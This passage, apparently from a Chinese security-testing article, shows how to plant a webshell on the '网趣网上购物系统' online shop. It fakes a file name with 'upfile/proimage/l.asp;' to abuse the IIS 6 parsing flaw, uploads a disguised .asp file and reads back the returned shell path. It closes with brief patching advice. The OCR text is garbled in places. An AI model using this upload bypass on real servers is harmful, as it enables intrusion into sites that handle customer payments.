FileName=FormPath&UserFaceName (FileExt)//组合文件名 If File. FileSize>0 Then File. SaveToFile Server, mappath(Fi1eName) //保存被上传的图片文 件 … 要知道,在windows2003服务器上,我们可以借助iis本身的解析漏洞来制造一个畸 形文件名来获得上传界webshell的目的。第一步,我们先建立一个包含有WebShell脚本代码 的图片文件,新建一个记事本,在其中输入“〈%response.write(〃哈哈!成功上传 webshell")%>",这里我们没有放入Webshell代码主要是为了做演示。保存该代码为1.jpg文件。第二步,保存图6那个上传文件窗口的源代码到本地计算机上,修改其中的“filepath” 参数值如下: <input type=〃hidden〃 name=〃filepath〃 value=〃upfile/proimage/l.asp;〃> 同时,修改表单最终提交的目的地址为“http://127.0.0.1/upfile.asp”。 第三步,在登录网站后台的情况下,新开一个浏览器窗口,打开本地保存的上传窗口 网页,上传第一步中的1.jpg文件,上传成功后,浏览器会给出一个提示,不要关闭当前窗口,如图7所示。 ![]() 查看图7当前窗口的源代码,我们会发现被我们, 网址,如下所示(注意加粗部分): <meta http-equiv=,,Content-Type〃 content="text/html; charset=gb2312〃> 〈link href=〃images/css.css〃 rel=//stiy^sh^rC /xype=^text/css'7> 文件格式不正确 [〈a href=# onclick=history. go(-l)>重新上传 </a> ] <script>window. opener.^2?Umeri^ Myform. bookpic. value=’ upfi1 e/proimage/1.asp;201181215393729482.jpg’ </script><script language="javascript">window. alertC 文件上传成功!请不要修改生成的链接龜址! 〃); window,close (); </script> 现在,我们在浏览器的网址,你会发现你的webshell就在那里等着你, 如图8所示。 ![]() 至此,一次顺利的网站安全测试结束了,非常典型的一次借助sql注入漏洞成功攻陷服务器的过程。在发现漏洞之佘,我们也为“网趣网上购物系统”的安全性捏一把汗,要知道 “网趣网上购物系统”的目的是用来进行网上购物的,这是与用户经济利益挂钩的,这种漏 洞要是被恶意攻击者利用后果不堪设想。要想修补sql注入漏洞很简单,采用安全函数过滤 所有外来参数,或者采用安全的防注入系统来加强整个系统的安全性。或许,我们测试的“网趣网上购物系统”是一个免费版本,而其收费版本兴许安全性会大大增强。无论如何,一个网站系统的开发者必须将安全问题看重一些,因为要知道,互联网上是不平静的。 |